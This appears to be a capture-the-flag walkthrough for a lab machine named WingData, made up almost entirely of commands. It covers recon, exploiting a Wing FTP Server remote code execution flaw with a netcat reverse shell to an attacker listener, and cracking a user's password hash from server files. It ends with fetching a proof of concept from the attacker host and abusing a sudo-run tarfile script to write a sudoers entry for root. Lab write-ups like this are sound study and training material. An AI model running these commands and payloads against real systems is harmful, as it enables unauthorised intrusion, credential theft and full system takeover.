WingData: Wing FTP RCE to Root

$ nmap --privileged -sSCV -A --min-rate 4000 -T4 -oN nmap.txt 10.129.6.225

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 (Debian 12)
80/tcp   open  http    Apache 2.4.66 (Debian)
5466/tcp open  http    Wing FTP Server web admin panel

$ ffuf -u http://wingdata.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt \
  -mc 200,301,302,403 -t 40

/vendor  [Status: 301]
/assets  [Status: 301]

# Client Portal link → ftp.wingdata.htb → Wing FTP Server v7.4.3

$ git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
$ cd CVE-2025-47812-poc

# listener
$ nc -lvnp 5555

$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
  -c "nc 10.10.14.79 5555 -e /bin/sh" -v

# shell caught in the Wing FTP process
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

$ find /opt -name "*.xml" 2>/dev/null
$ cat /opt/wftpserver/Data/1/users/wacky.xml

# wacky hash: [REDACTED] (SHA-256)

$ hashcat -m 1400 wacky_hash.txt /usr/share/wordlists/rockyou.txt --force -O

# cracked: wacky : [REDACTED]

$ ssh wacky@10.129.6.225
Password: [REDACTED]

wacky@wingdata:~$ cat user.txt

wacky@wingdata:~$ sudo -l

(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
import tarfile

def restore(backup_file):
    with tarfile.open(backup_file) as tar:
        tar.extractall(filter='data')   # <-- the bug

# attacker: serve the PoC
$ python3 -m http.server 80

# target
wacky@wingdata:~$ wget http://10.10.14.79/CVE-2025-4517-POC.py -O /tmp/poc.py
wacky@wingdata:~$ python3 /tmp/poc.py
# crafts a .tar with a symlink → /etc/sudoers.d/wacky
# payload written: wacky ALL=(ALL) NOPASSWD: ALL

wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py /tmp/malicious.tar
wacky@wingdata:~$ sudo -l
# (ALL) NOPASSWD: ALL

wacky@wingdata:~$ sudo /bin/bash

# cat /root/root.txt